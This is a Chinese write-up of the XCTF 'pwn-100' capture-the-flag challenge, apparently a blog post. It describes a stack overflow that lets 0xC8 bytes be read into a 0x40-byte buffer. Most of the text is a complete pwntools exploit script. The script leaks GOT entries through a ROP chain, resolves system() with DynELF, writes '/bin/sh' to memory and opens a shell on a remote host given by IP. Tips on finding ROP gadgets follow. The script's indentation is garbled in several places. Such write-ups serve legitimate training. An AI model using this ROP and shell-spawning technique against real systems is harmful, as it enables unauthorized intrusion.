xctf高手进阶题之pwn-100

    此题重点为DynELF函数的使用。在函数 sub_40068E()中声明了一个大小为0x40的缓冲区,然后通过函数sub_40063D((__int64)&v1, 0xC8u);读取标准输入内容到该缓冲区,读入的长度为0xC8,大于缓冲区大小0x40,存在溢出漏洞。可以通过溢出后覆盖函数的返回地址:1.输出got表的函数地址;2.向可写段地址写入字符串"/bin/sh"。 
    然后利用DynELF函数找到libc中system函数的地址并加以使用。
    exp:
	from pwn import *

	p=remote('111.198.29.45','43508')
	elf=ELF('./pwn-100')
	puts_plt=elf.plt['puts']
	puts_got=elf.got['puts']
	print "puts_plt:"+hex(puts_plt)
	print "puts_got:"+hex(puts_got)
	pop_rdi=0x0000000000400763
	bin_sh=0x601ff0
	pop_rsi_r15=0x0000000000400761
	lens=200
	payload='0'*
            (0x8+64)+p64(pop_rdi)+p64(puts_got)+p64(0x0000000000400500)
             +p64(pop_rdi)+p64(bin_sh)+p64(pop_rsi_r15)+p64(0x8)+p64(0x0)
             +p64(0x40063D)+p64(0x0000000000400550)
    payload=payload+'0'*(200-len(payload))
	print payload
	p.send(payload)
	sleep(1)
	p.send('/bin/sh'+'\0')
	print p.recvuntil('bye~')
	recv_addr=p.recv()[1:-1].ljust(8,'\0')
	puts_addr=u64(recv_addr)
	print hex(puts_addr)

	def leak(addr):
		payload='0'* (0x8+64)+p64(pop_rdi)+p64(addr)
		               +p64(0x0000000000400500)+p64(0x0000000000400550)
       	payload=payload+'0'*(200-len(payload))
        p.send(payload)
        p.recvuntil("bye~\n")
     	up = ""
		content = ""
		count = 0
		while True:
    		c = p.recv(numb=1, timeout=0.5)
    		count += 1
    		if up == '\n' and c == "":
				content = content[:-1] + '\x00'
				break
    		else:
				content += c
				up = c
		content = content[:4]
		log.info("%#x => %s" % (addr, (content or '').encode('hex')))
		return content
		
	d = DynELF(leak, elf = elf)
	system_addr = d.lookup('system', 'libc')
	log.info("system_addr = %#x", system_addr)
	
	payload='0'*(0x8+64)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
		           +p64(0x0000000000400550)
    payload=payload+'0'*(200-len(payload))
   p.send(payload)
   print p.recvuntil('bye~')
   print p.recv()
   p.interactive()
技巧:
	1.Dyn函数的格式:
		声明 def leak(addr):,固定格式,函数名和下面的d=DynELF(leak,elf=elf)中一致。addr不用初始化。
		函数中需准备泄露got表地址的payload,即能够接受返回的地址(数值格式),然后取前四个字节做返回值。
		DynELF函数lookup(func_name,'libc')会自动查找system在libc中的的地址。
	2.可写地址的确定:
		gdb运行程序中断后,vmmap查看各段;
	3.pop_rdi;ret 的地址:
		python ROPgadget.py --binary "elfname" |grep "rdi"
	4.返回地址要使用start,而不是main;

问题:libc.blukat.me中寻找到的地址与DynELF找到的不一样,不能使用。

你可能感兴趣的:(Pwn)